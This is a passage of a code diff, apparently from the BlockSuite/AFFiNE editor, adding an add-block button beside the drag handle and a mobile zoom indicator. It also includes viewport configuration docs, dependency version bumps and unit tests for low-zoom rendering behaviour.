+import type { AFFINE_ADD_BLOCK_WIDGET } from '../consts.js';
+
+export class AffineAddBlockWidget extends LitElement {
+  static override styles = css`
+    :host {
+      display: block;
+      pointer-events: none;
+    }
+
+    .affine-add-block-widget {
+      display: flex;
+      align-items: center;
+      justify-content: center;
+      width: 18px;
+      height: 18px;
+      margin-top: 8px;
+      cursor: pointer;
+      border-radius: 4px;
+      color: var(--affine-placeholder-color);
+      background: transparent;
+      border: none;
+      padding: 0;
+      transition:
+        color 0.2s ease,
+        background 0.2s ease;
+      pointer-events: auto;
+      user-select: none;
+      box-sizing: border-box;
+    }
+
+    .affine-add-block-widget:hover {
+      background: var(--affine-hover-color);
+      color: var(--affine-text-primary-color);
+    }
+
+    .affine-add-block-widget svg {
+      width: 12px;
+      height: 12px;
+      flex-shrink: 0;
+    }
+  `;
+
+  @property({ type: Boolean })
+  accessor visible = false;
+
+  private readonly _handleClick = (e: MouseEvent) => {
+    e.stopPropagation();
+    e.preventDefault();
+    this.dispatchEvent(
+      new CustomEvent('add-block', { bubbles: true, composed: true })
+    );
+  };
+
+  override render() {
+    if (!this.visible) return html``;
+
+    return html`
+      <button
+        class="affine-add-block-widget"
+        title="Click to add a block below"
+        aria-label="Add block below"
+        @click=${this._handleClick}
+      >
+        ${PlusIcon({ width: '12', height: '12' })}
+      </button>
+    `;
+  }
+}
+
+declare global {
+  interface HTMLElementTagNameMap {
+    [AFFINE_ADD_BLOCK_WIDGET]: AffineAddBlockWidget;
+  }
+}

blocksuite/affine/widgets/drag-handle/src/config.ts

@@ -1,3 +1,4 @@
+export const ADD_BLOCK_WIDGET_WIDTH = 16;
 export const DRAG_HANDLE_CONTAINER_HEIGHT = 24;
 export const DRAG_HANDLE_CONTAINER_WIDTH = 16;
 export const DRAG_HANDLE_CONTAINER_WIDTH_TOP_LEVEL = 8;

blocksuite/affine/widgets/drag-handle/src/consts.ts

@@ -1 +1,2 @@
 export const AFFINE_DRAG_HANDLE_WIDGET = 'affine-drag-handle-widget';
+export const AFFINE_ADD_BLOCK_WIDGET = 'affine-add-block-widget';

blocksuite/affine/widgets/drag-handle/src/drag-handle.ts

@@ -1,5 +1,8 @@
+import './components/add-block-widget.js';
+
 import { EdgelessCRUDIdentifier } from '@blocksuite/affine-block-surface';
 import type { RootBlockModel } from '@blocksuite/affine-model';
+import { focusTextModel } from '@blocksuite/affine-rich-text';
 import { DocModeProvider } from '@blocksuite/affine-shared/services';
 import {
   isInsideEdgelessEditor,
@@ -15,6 +18,7 @@ import { query, state } from 'lit/decorators.js';
 import { classMap } from 'lit/directives/class-map.js';
 import { styleMap } from 'lit/directives/style-map.js';
 
+//focustextmodel rich text should be added in package.json file and import from there
 import type { AFFINE_DRAG_HANDLE_WIDGET } from './consts.js';
 import { RectHelper } from './helpers/rect-helper.js';
 import { SelectionHelper } from './helpers/selection-helper.js';
@@ -51,9 +55,48 @@ export class AffineDragHandleWidget extends WidgetComponent<RootBlockModel> {
     this.pointerEventWatcher.reset();
   };
 
+  /**
+   * Insert a new empty paragraph block below the currently hovered block
+   * and move the cursor into it.
+   */
+  private readonly _handleAddBlock = () => {
+    const anchorBlockId = this.anchorBlockId.peek();
+    if (!anchorBlockId) return;
+
+    const block = this.anchorBlockComponent.peek();
+    if (!block) return;
+
+    const { store } = this;
+    const parent = store.getParent(block.model);
+    if (!parent) return;
+
+    const index = parent.children.indexOf(block.model);
+    if (index < 0) return;
+    store.captureSync();
+    const newBlockId = store.addBlock(
+      'affine:paragraph',
+      {},
+      parent,
+      index + 1
+    );
+
+    if (!newBlockId) return;
+
+    this.host.updateComplete
+      .then(() => {
+        focusTextModel(this.std, newBlockId);
+      })
+      .catch(console.error);
+
+    this.hide();
+  };
+
   @state()
   accessor activeDragHandle: 'block' | 'gfx' | null = null;
 
+  @state()
+  accessor showAddBlockWidget = false;
+
   anchorBlockId = signal<string | null>(null);
 
   anchorBlockComponent = computed<BlockComponent | null>(() => {
@@ -115,6 +158,7 @@ export class AffineDragHandleWidget extends WidgetComponent<RootBlockModel> {
     this.anchorBlockId.value = null;
     this.dragHoverRect = null;
     this.activeDragHandle = null;
+    this.showAddBlockWidget = false;
 
     if (this.dragHandleContainer) {
       this.dragHandleContainer.removeAttribute('style');
@@ -123,6 +167,10 @@ export class AffineDragHandleWidget extends WidgetComponent<RootBlockModel> {
     if (this.dragHandleGrabber) {
       this.dragHandleGrabber.removeAttribute('style');
     }
+    if (this.addBlockWidgetContainer) {
+      this.addBlockWidgetContainer.removeAttribute('style');
+      this.addBlockWidgetContainer.style.display = 'none';
+    }
 
     if (force) {
       this._reset();
@@ -211,6 +259,12 @@ export class AffineDragHandleWidget extends WidgetComponent<RootBlockModel> {
 
     return html`
       <div class="affine-drag-handle-widget">
+        <div class="affine-add-block-widget-container">
+          <affine-add-block-widget
+            .visible=${this.showAddBlockWidget && this.mode === 'page'}
+            @add-block=${this._handleAddBlock}
+          ></affine-add-block-widget>
+        </div>
         <div class="affine-drag-handle-container">
           <div class=${classMap(classes)}>
             ${isGfx
@@ -236,6 +290,9 @@ export class AffineDragHandleWidget extends WidgetComponent<RootBlockModel> {
   @query('.affine-drag-handle-grabber')
   accessor dragHandleGrabber!: HTMLDivElement;
 
+  @query('.affine-add-block-widget-container')
+  accessor addBlockWidgetContainer!: HTMLDivElement;
+
   @state()
   accessor dragHoverRect: {
     width: number;

blocksuite/affine/widgets/drag-handle/src/effects.ts

@@ -1,12 +1,14 @@
+import { AffineAddBlockWidget } from './components/add-block-widget';
 import {
   EDGELESS_DND_PREVIEW_ELEMENT,
   EdgelessDndPreviewElement,
 } from './components/edgeless-preview/preview';
-import { AFFINE_DRAG_HANDLE_WIDGET } from './consts';
+import { AFFINE_ADD_BLOCK_WIDGET, AFFINE_DRAG_HANDLE_WIDGET } from './consts';
 import { AffineDragHandleWidget } from './drag-handle';
 
 export function effects() {
   customElements.define(AFFINE_DRAG_HANDLE_WIDGET, AffineDragHandleWidget);
+  customElements.define(AFFINE_ADD_BLOCK_WIDGET, AffineAddBlockWidget);
   customElements.define(
     EDGELESS_DND_PREVIEW_ELEMENT,
     EdgelessDndPreviewElement

blocksuite/affine/widgets/drag-handle/src/styles.ts

@@ -1,7 +1,10 @@
 import { unsafeCSSVarV2 } from '@blocksuite/affine-shared/theme';
 import { css } from 'lit';
 
-import { DRAG_HANDLE_CONTAINER_WIDTH } from './config.js';
+import {
+  ADD_BLOCK_WIDGET_WIDTH,
+  DRAG_HANDLE_CONTAINER_WIDTH,
+} from './config.js';
 
 export const styles = css`
   .affine-drag-handle-widget {
@@ -10,6 +13,20 @@ export const styles = css`
     left: 0;
     top: 0;
     contain: size layout;
+    pointer-events: none;
+  }
+
+  .affine-add-block-widget-container {
+    top: 0;
+    left: 0;
+    position: absolute;
+    display: flex;
+    justify-content: center;
+    width: ${ADD_BLOCK_WIDGET_WIDTH}px;
+    min-height: 12px;
+    pointer-events: none;
+    user-select: none;
+    box-sizing: border-box;
   }
 
   .affine-drag-handle-container {

blocksuite/affine/widgets/drag-handle/src/watchers/pointer-event-watcher.ts

@@ -12,6 +12,7 @@ import { computed } from '@preact/signals-core';
 import throttle from 'lodash-es/throttle';
 
 import {
+  ADD_BLOCK_WIDGET_WIDTH,
   DRAG_HANDLE_CONTAINER_WIDTH,
   DRAG_HANDLE_GRABBER_BORDER_RADIUS,
   DRAG_HANDLE_GRABBER_HEIGHT,
@@ -199,6 +200,7 @@ export class PointerEventWatcher {
       !this.widget.isDragHandleHovered
     ) {
       this.showDragHandleOnHoverBlock();
+      this.widget.showAddBlockWidget = true;
       this._lastHoveredBlockId = this.widget.anchorBlockId.peek();
     }
   };
@@ -251,8 +253,13 @@ export class PointerEventWatcher {
         return;
       }
 
-      // When pointer on drag handle, should do nothing
-      if (element.closest('.affine-drag-handle-container')) return;
+      // When pointer on drag handle or add-block widget, should do nothing
+      if (
+        element.closest('.affine-drag-handle-container') ||
+        element.closest('.affine-add-block-widget-container')
+      ) {
+        return;
+      }
 
       if (!this.widget.rootComponent) return;
 
@@ -317,6 +324,7 @@ export class PointerEventWatcher {
 
     const container = this.widget.dragHandleContainer;
     const grabber = this.widget.dragHandleGrabber;
+    const addBlockWidgetContainer = this.widget.addBlockWidgetContainer;
     if (!container || !grabber) return;
 
     this.widget.activeDragHandle = 'block';
@@ -336,6 +344,21 @@ export class PointerEventWatcher {
       Object.assign(container.style, containerStyle);
 
       container.style.display = 'flex';
+
+      // Position the add-block widget beside the drag handle, aligned to the first line.
+      if (
+        addBlockWidgetContainer &&
+        this.widget.showAddBlockWidget &&
+        this.widget.mode === 'page'
+      ) {
+        const posTop = this._getTopWithBlockComponent(block);
+        addBlockWidgetContainer.style.left = `${draggingAreaRect.left - ADD_BLOCK_WIDGET_WIDTH}px`;
+        addBlockWidgetContainer.style.top = `${posTop}px`;
+        addBlockWidgetContainer.style.height = 'auto';
+        addBlockWidgetContainer.style.display = 'flex';
+      } else if (addBlockWidgetContainer) {
+        addBlockWidgetContainer.style.display = 'none';
+      }
     };
 
     if (isBlockIdEqual(block.blockId, this._lastShowedBlock?.id)) {

blocksuite/affine/widgets/drag-handle/tsconfig.json

@@ -16,6 +16,7 @@
     { "path": "../../components" },
     { "path": "../../ext-loader" },
     { "path": "../../model" },
+    { "path": "../../rich-text" },
     { "path": "../../shared" },
     { "path": "../../../framework/global" },
     { "path": "../../../framework/std" },

blocksuite/affine/widgets/edgeless-zoom-toolbar/src/effects.ts

@@ -2,12 +2,14 @@ import {
   AFFINE_EDGELESS_ZOOM_TOOLBAR_WIDGET,
   AffineEdgelessZoomToolbarWidget,
 } from '.';
+import { MobileZoomRuler } from './mobile-zoom-ruler';
 import { ZoomBarToggleButton } from './zoom-bar-toggle-button';
 import { EdgelessZoomToolbar } from './zoom-toolbar';
 
 export function effects() {
   customElements.define('edgeless-zoom-toolbar', EdgelessZoomToolbar);
   customElements.define('zoom-bar-toggle-button', ZoomBarToggleButton);
+  customElements.define('mobile-zoom-ruler', MobileZoomRuler);
   customElements.define(
     AFFINE_EDGELESS_ZOOM_TOOLBAR_WIDGET,
     AffineEdgelessZoomToolbarWidget

blocksuite/affine/widgets/edgeless-zoom-toolbar/src/index.ts

@@ -1,5 +1,6 @@
 import { EdgelessLegacySlotIdentifier } from '@blocksuite/affine-block-surface';
 import type { RootBlockModel } from '@blocksuite/affine-model';
+import { IS_MOBILE } from '@blocksuite/global/env';
 import { WidgetComponent, WidgetViewExtension } from '@blocksuite/std';
 import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
 import { effect } from '@preact/signals-core';
@@ -14,15 +15,20 @@ export class AffineEdgelessZoomToolbarWidget extends WidgetComponent<RootBlockMo
   static override styles = css`
     :host {
       position: absolute;
-      bottom: 20px;
+      bottom: var(--affine-edgeless-zoom-toolbar-bottom, 20px);
       left: 12px;
       z-index: var(--affine-z-index-popover);
       display: flex;
       justify-content: center;
+      pointer-events: none;
       -webkit-user-select: none;
       user-select: none;
     }
 
+    mobile-zoom-ruler {
+      pointer-events: auto;
+    }
+
     @container viewport (width <= 1200px) {
       edgeless-zoom-toolbar {
         display: none;
@@ -73,10 +79,14 @@ export class AffineEdgelessZoomToolbarWidget extends WidgetComponent<RootBlockMo
   }
 
   override render() {
-    if (this._hide || !this.edgeless) {
+    if (this._hide) {
       return nothing;
     }
 
+    if (IS_MOBILE) {
+      return html`<mobile-zoom-ruler .std=${this.std}></mobile-zoom-ruler>`;
+    }
+
     return html`
       <edgeless-zoom-toolbar .std=${this.std}></edgeless-zoom-toolbar>
       <zoom-bar-toggle-button .std=${this.std}></zoom-bar-toggle-button>

blocksuite/affine/widgets/edgeless-zoom-toolbar/src/mobile-zoom-ruler.ts

@@ -0,0 +1,139 @@
+import { stopPropagation } from '@blocksuite/affine-shared/utils';
+import { WithDisposable } from '@blocksuite/global/lit';
+import { ViewBarIcon } from '@blocksuite/icons/lit';
+import type { BlockStdScope } from '@blocksuite/std';
+import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
+import { baseTheme } from '@toeverything/theme';
+import { css, html, LitElement, unsafeCSS } from 'lit';
+import { property } from 'lit/decorators.js';
+
+/**
+ * Compact zoom indicator for narrow / mobile edgeless viewports.
+ * Shows the live zoom percentage and a fit-to-screen action in a pill HUD
+ * anchored to the bottom-left of the canvas.
+ */
+export class MobileZoomRuler extends WithDisposable(LitElement) {
+  static override styles = css`
+    :host {
+      display: flex;
+      pointer-events: auto;
+      font-family: ${unsafeCSS(baseTheme.fontSansFamily)};
+    }
+
+    .zoom-pill {
+      display: flex;
+      align-items: center;
+      height: 32px;
+      background: var(--affine-background-overlay-panel-color);
+      border: 1px solid var(--affine-border-color);
+      border-radius: 999px;
+      box-shadow: var(--affine-shadow-1);
+      overflow: hidden;
+    }
+
+    .zoom-label {
+      display: flex;
+      align-items: center;
+      justify-content: center;
+      min-width: 44px;
+      padding: 0 12px;
+      font-size: 12px;
+      font-weight: 500;
+      line-height: 1;
+      color: var(--affine-text-secondary-color);
+      white-space: nowrap;
+      user-select: none;
+    }
+
+    .divider {
+      width: 1px;
+      height: 16px;
+      background: var(--affine-border-color);
+      flex-shrink: 0;
+    }
+
+    .fit-button {
+      display: flex;
+      align-items: center;
+      justify-content: center;
+      width: 36px;
+      height: 100%;
+      padding: 0;
+      border: none;
+      background: transparent;
+      color: var(--affine-icon-color);
+      cursor: pointer;
+    }
+
+    .fit-button:hover:not(:disabled) {
+      background: var(--affine-hover-color);
+      color: var(--affine-primary-color);
+    }
+
+    .fit-button:disabled {
+      cursor: not-allowed;
+      color: var(--affine-text-disable-color);
+    }
+
+    .fit-button svg {
+      width: 20px;
+      height: 20px;
+    }
+  `;
+
+  get gfx() {
+    return this.std.get(GfxControllerIdentifier);
+  }
+
+  get viewport() {
+    return this.gfx.viewport;
+  }
+
+  get zoom() {
+    if (!this.viewport) {
+      return 1;
+    }
+    return this.viewport.zoom;
+  }
+
+  override firstUpdated() {
+    const { disposables } = this;
+    const viewport = this.viewport;
+    if (!viewport) {
+      return;
+    }
+    disposables.add(
+      viewport.viewportUpdated.subscribe(() => this.requestUpdate())
+    );
+    disposables.add(viewport.zoomUpdated.subscribe(() => this.requestUpdate()));
+  }
+
+  override render() {
+    const formattedZoom = `${Math.round(this.zoom * 100)}%`;
+    const locked = this.viewport?.locked || this.std.store.readonly;
+
+    return html`
+      <div
+        class="zoom-pill"
+        @dblclick=${stopPropagation}
+        @mousedown=${stopPropagation}
+        @mouseup=${stopPropagation}
+        @pointerdown=${stopPropagation}
+      >
+        <span class="zoom-label">${formattedZoom}</span>
+        <span class="divider"></span>
+        <button
+          class="fit-button"
+          aria-label="Fit to screen"
+          ?disabled=${locked}
+          @click=${() => this.gfx.fitToScreen()}
+        >
+          ${ViewBarIcon()}
+        </button>
+      </div>
+    `;
+  }
+
+  @property({ attribute: false })
+  accessor std!: BlockStdScope;
+}

blocksuite/affine/widgets/linked-doc/package.json

@@ -24,7 +24,7 @@
     "@toeverything/theme": "^1.1.23",
     "@types/lodash-es": "^4.17.12",
     "fflate": "^0.8.2",
-    "js-yaml": "^4.1.1",
+    "js-yaml": "^4.2.0",
     "jszip": "^3.10.1",
     "lit": "^3.2.0",
     "lodash-es": "^4.17.23",

blocksuite/docs/api/@blocksuite/std/gfx/README.md

@@ -28,6 +28,7 @@
 - [gfxGroupCompatibleSymbol](variables/gfxGroupCompatibleSymbol.md)
 - [SURFACE\_TEXT\_UNIQ\_IDENTIFIER](variables/SURFACE_TEXT_UNIQ_IDENTIFIER.md)
 - [SURFACE\_YMAP\_UNIQ\_IDENTIFIER](variables/SURFACE_YMAP_UNIQ_IDENTIFIER.md)
+- [viewportRuntimeConfig](variables/viewportRuntimeConfig.md)
 
 ## Functions
 
@@ -39,6 +40,7 @@
 - [generateKeyBetween](functions/generateKeyBetween.md)
 - [generateKeyBetweenV2](functions/generateKeyBetweenV2.md)
 - [generateNKeysBetween](functions/generateNKeysBetween.md)
+- [getEffectiveDpr](functions/getEffectiveDpr.md)
 - [getTopElements](functions/getTopElements.md)
 - [GfxCompatible](functions/GfxCompatible.md)
 - [isGfxGroupCompatibleModel](functions/isGfxGroupCompatibleModel.md)

blocksuite/docs/api/@blocksuite/std/gfx/functions/getEffectiveDpr.md

@@ -0,0 +1,28 @@
+[**BlockSuite API Documentation**](../../../../README.md)
+
+***
+
+[BlockSuite API Documentation](../../../../README.md) / [@blocksuite/std](../../README.md) / [gfx](../README.md) / getEffectiveDpr
+
+# Function: getEffectiveDpr()
+
+> **getEffectiveDpr**(`zoom`, `rawDpr`): `number`
+
+Resolves the effective device-pixel-ratio for canvas backing stores at the
+given zoom, honoring [viewportRuntimeConfig.CANVAS\_DPR\_CAP\_BY\_ZOOM](../variables/viewportRuntimeConfig.md#canvas_dpr_cap_by_zoom).
+
+Returns the raw `window.devicePixelRatio` when no cap applies.
+
+## Parameters
+
+### zoom
+
+`number`
+
+### rawDpr
+
+`number` = `window.devicePixelRatio`
+
+## Returns
+
+`number`

blocksuite/docs/api/@blocksuite/std/gfx/variables/viewportRuntimeConfig.md

@@ -0,0 +1,117 @@
+[**BlockSuite API Documentation**](../../../../README.md)
+
+***
+
+[BlockSuite API Documentation](../../../../README.md) / [@blocksuite/std](../../README.md) / [gfx](../README.md) / viewportRuntimeConfig
+
+# Variable: viewportRuntimeConfig
+
+> `const` **viewportRuntimeConfig**: `object`
+
+Process-wide defaults applied to every Viewport at construction.
+
+Platforms that need different behavior (e.g. mobile/iOS, which must clamp the
+zoom floor and defer DOM mutations during gestures to avoid WKWebView process
+termination) override these once at startup, before any editor mounts. This
+guarantees both the editor and the readonly preview viewports are born with
+the same limits — avoiding the race and wrong-instance problems of patching a
+single Viewport asynchronously after it has already mounted.
+
+Desktop leaves these untouched, so its behavior is unchanged.
+
+## Type Declaration
+
+### CANVAS\_DPR\_CAP\_BY\_ZOOM
+
+> **CANVAS\_DPR\_CAP\_BY\_ZOOM**: \[`number`, `number`\][]
+
+Caps the canvas backing-store device-pixel-ratio at low zoom.
+
+Each entry is `[zoomThreshold, dprCap]`, sorted ascending by threshold.
+When the live zoom is below a threshold, the corresponding cap bounds the
+effective dpr used to size canvases. Far-out zoom makes content tiny on
+screen, so a full retina backing store is wasted memory — on iOS that waste
+is what pushes WKWebView past its compositing budget and crashes the web
+content process during pan/zoom.
+
+Empty (the desktop default) means no cap: canvases always use the raw
+`window.devicePixelRatio`, so desktop behavior is unchanged.
+
+### LOW\_ZOOM\_GESTURE\_ACTIVE\_BLOCK\_LIMIT
+
+> **LOW\_ZOOM\_GESTURE\_ACTIVE\_BLOCK\_LIMIT**: `number` = `0`
+
+During low-zoom gesture survival mode, keep only a tiny subset of DOM blocks
+as real active DOM (selected + a few nearby blocks). `0` keeps the legacy
+behavior where every viewport block remains visually mounted as `survival`.
+
+### LOW\_ZOOM\_GESTURE\_ACTIVE\_DISTANCE\_RATIO
+
+> **LOW\_ZOOM\_GESTURE\_ACTIVE\_DISTANCE\_RATIO**: `number` = `0.35`
+
+Distance threshold (as a fraction of the viewport's shorter side) used to
+decide whether an unselected viewport block counts as "nearby" to the
+current selection during low-zoom gesture survival mode.
+
+### OVERSCAN\_RATIO
+
+> **OVERSCAN\_RATIO**: `number` = `0`
+
+Fraction by which the *render/activation* viewport bound is enlarged on
+every side (see Viewport.overscanViewportBounds). Pre-painting a
+margin around the visible area means moderate pan/zoom gestures move into
+content that is already mounted and rasterized, so it does not blank out
+and wait for the post-gesture refresh.
+
+Memory grows by roughly `(1 + 2 * ratio) ** 2`, so this must stay modest
+and be paired with a zoom floor + dpr cap on mobile. `0` (desktop default)
+makes Viewport.overscanViewportBounds identical to
+Viewport.viewportBounds, leaving desktop behavior unchanged.
+
+This governs the *canvas* render bound only (see
+Viewport.overscanViewportBounds). It enlarges the canvas backing
+stores, so memory grows with the overscan area. Keep it modest and pair it
+with the mobile zoom floor + dpr cap so connectors/elements stay painted
+through a gesture without pushing WKWebView over budget.
+
+### OVERSCAN\_RATIO\_BLOCK
+
+> **OVERSCAN\_RATIO\_BLOCK**: `number` = `0`
+
+Like [OVERSCAN\_RATIO](#overscan_ratio) but for the *DOM block mounting* bound (see
+Viewport.overscanBlockBounds). This one is expensive: every
+mounted block becomes its own composited layer subtree in the WebContent
+process, so enlarging it multiplies resident memory and is what pushes the
+process toward an iOS jetsam kill. Keep this small (or `0`) even when
+[OVERSCAN\_RATIO](#overscan_ratio) is generous. `0` (desktop default) leaves block
+mounting on the exact visible bound, unchanged from upstream.
+
+### POST\_GESTURE\_REFRESH\_DELAY
+
+> **POST\_GESTURE\_REFRESH\_DELAY**: `number` = `800`
+
+Delay (ms) before the post-gesture refresh repaints canvases and reactivates
+blocks, used only when [SKIP\_REFRESH\_DURING\_GESTURE](#skip_refresh_during_gesture) is true. The same
+value drives both the canvas and block refresh timers so they fire together
+(avoiding the "blocks appear, then connectors" staggered reveal). Desktop
+never enters that code path, so this is mobile-only.
+
+### SKIP\_REFRESH\_DURING\_GESTURE
+
+> **SKIP\_REFRESH\_DURING\_GESTURE**: `boolean` = `false`
+
+### VIEWPORT\_REFRESH\_MAX\_INTERVAL
+
+> **VIEWPORT\_REFRESH\_MAX\_INTERVAL**: `number` = `120`
+
+### VIEWPORT\_REFRESH\_PIXEL\_THRESHOLD
+
+> **VIEWPORT\_REFRESH\_PIXEL\_THRESHOLD**: `number` = `18`
+
+### ZOOM\_MAX
+
+> **ZOOM\_MAX**: `number`
+
+### ZOOM\_MIN
+
+> **ZOOM\_MIN**: `number`

blocksuite/framework/global/package.json

@@ -61,7 +61,7 @@
     "rxjs": "^7.8.2"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "version": "0.26.3"
 }

blocksuite/framework/std/package.json

@@ -19,7 +19,7 @@
     "@preact/signals-core": "^1.8.0",
     "@types/hast": "^3.0.4",
     "@types/lodash-es": "^4.17.12",
-    "dompurify": "^3.3.0",
+    "dompurify": "^3.4.11",
     "fractional-indexing": "^3.2.0",
     "lib0": "^0.2.114",
     "lit": "^3.2.0",
@@ -33,9 +33,9 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "@vitest/browser-playwright": "^4.0.18",
+    "@vitest/browser-playwright": "^4.1.8",
     "playwright": "=1.58.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/framework/std/src/__tests__/gfx/view.unit.spec.ts

@@ -1,11 +1,19 @@
+import type { SerializedXYWH } from '@blocksuite/global/gfx';
 import {
   createAutoIncrementIdGenerator,
   TestWorkspace,
 } from '@blocksuite/store/test';
-import { describe, expect, test } from 'vitest';
+import { describe, expect, test, vi } from 'vitest';
 
 import { effects } from '../../effects.js';
 import { GfxControllerIdentifier } from '../../gfx/identifiers.js';
+import type { GfxBlockElementModel } from '../../gfx/model/gfx-block-model.js';
+import { getPostGestureRecoveryDelay } from '../../gfx/viewport.js';
+import {
+  GfxViewportElement,
+  shouldUseLowZoomBlockSurvivalMode,
+} from '../../gfx/viewport-element.js';
+import type { GfxBlockComponent } from '../../view/element/gfx-block-component.js';
 import { TestEditorContainer } from '../test-editor.js';
 import { TestLocalElement } from '../test-gfx-element.js';
 import {
@@ -52,6 +60,7 @@ const commonSetup = async () => {
   const gfx = editorContainer.std.get(GfxControllerIdentifier);
 
   return {
+    editorContainer,
     gfx,
     surfaceId,
     rootId,
@@ -59,6 +68,74 @@ const commonSetup = async () => {
   };
 };
 
+const waitGfxViewConnected = (gfx: {
+  std: {
+    view: {
+      viewUpdated: {
+        subscribe: (
+          callback: (payload: {
+            id: string;
+            type: string;
+            method: string;
+          }) => void
+        ) => { unsubscribe: () => void };
+      };
+    };
+  };
+}) => {
+  return (id: string) => {
+    const { promise, resolve } = Promise.withResolvers<void>();
+    const subscription = gfx.std.view.viewUpdated.subscribe(payload => {
+      if (
+        payload.id === id &&
+        payload.type === 'block' &&
+        payload.method === 'add'
+      ) {
+        subscription.unsubscribe();
+        resolve();
+      }
+    });
+
+    return promise;
+  };
+};
+
+const getTestGfxBlockModel = (
+  gfx: { getElementById: (id: string) => unknown },
+  id: string
+) => {
+  const model = gfx.getElementById(id) as GfxBlockElementModel | null;
+  if (!model) {
+    throw new Error(`Missing gfx model for block ${id}`);
+  }
+  return model;
+};
+
+const getTestGfxBlockView = (
+  gfx: { view: { get: (id: string) => unknown } },
+  id: string
+) => {
+  const view = gfx.view.get(id) as GfxBlockComponent | null;
+  if (!view) {
+    throw new Error(`Missing gfx view for block ${id}`);
+  }
+  return view;
+};
+
+const getViewportChildBlockIds = (viewportElement: GfxViewportElement) =>
+  [...viewportElement.children].map(
+    child => (child as HTMLElement).dataset.blockId
+  );
+
+const setBlockXYWH = (
+  gfx: { getElementById: (id: string) => unknown },
+  id: string,
+  xywh: SerializedXYWH
+) => {
+  const model = getTestGfxBlockModel(gfx, id);
+  model.xywh = xywh;
+};
+
 describe('gfx element view basic', () => {
   test('view should be created', async () => {
     const { gfx, surfaceModel } = await commonSetup();
@@ -91,24 +168,10 @@ describe('gfx element view basic', () => {
 
   test('query gfx block view should work', async () => {
     const { gfx, surfaceId, rootId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
 
-    const waitGfxViewConnected = (id: string) => {
-      const { promise, resolve } = Promise.withResolvers<void>();
-      const subscription = gfx.std.view.viewUpdated.subscribe(payload => {
-        if (
-          payload.id === id &&
-          payload.type === 'block' &&
-          payload.method === 'add'
-        ) {
-          subscription.unsubscribe();
-          resolve();
-        }
-      });
-
-      return promise;
-    };
     const id = gfx.std.store.addBlock('test:gfx-block', undefined, surfaceId);
-    await waitGfxViewConnected(id);
+    await waitViewConnected(id);
     const gfxBlockView = gfx.view.get(id);
     expect(gfxBlockView).not.toBeNull();
 
@@ -117,6 +180,824 @@ describe('gfx element view basic', () => {
     expect(rootView).toBeNull();
   });
 
+  test('detects low-zoom DOM survival mode only during active gestures for gesture-safe viewport configs', () => {
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: true,
+        gestureActive: true,
+      })
+    ).toBe(true);
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: true,
+        gestureActive: false,
+      })
+    ).toBe(false);
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.6,
+        skipRefreshDuringGesture: true,
+        gestureActive: true,
+      })
+    ).toBe(false);
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: false,
+        gestureActive: true,
+      })
+    ).toBe(false);
+  });
+
+  test('keeps selected block active while degrading unselected low-zoom viewport blocks', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const inViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+
+    await Promise.all([
+      waitViewConnected(selectedId),
+      waitViewConnected(inViewportId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+    setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
+    const outOfViewportModel = getTestGfxBlockModel(gfx, outOfViewportId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+    const inViewportView = getTestGfxBlockView(gfx, inViewportId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(inViewportModel).not.toBeNull();
+    expect(outOfViewportModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+    expect(inViewportView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () =>
+      new Set([selectedModel, inViewportModel]);
+    (
+      viewportElement as unknown as {
+        _lastVisibleModels: Set<unknown>;
+      }
+    )._lastVisibleModels = new Set([
+      selectedModel,
+      inViewportModel,
+      outOfViewportModel,
+    ]);
+
+    (
+      viewportElement as unknown as {
+        _hideOutsideAndNoSelectedBlock: () => void;
+      }
+    )._hideOutsideAndNoSelectedBlock();
+
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('survival');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+  });
+
+  test('parks non-active low-zoom gesture blocks outside viewport DOM while gesture is running', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const nearbyId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const farVisibleId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
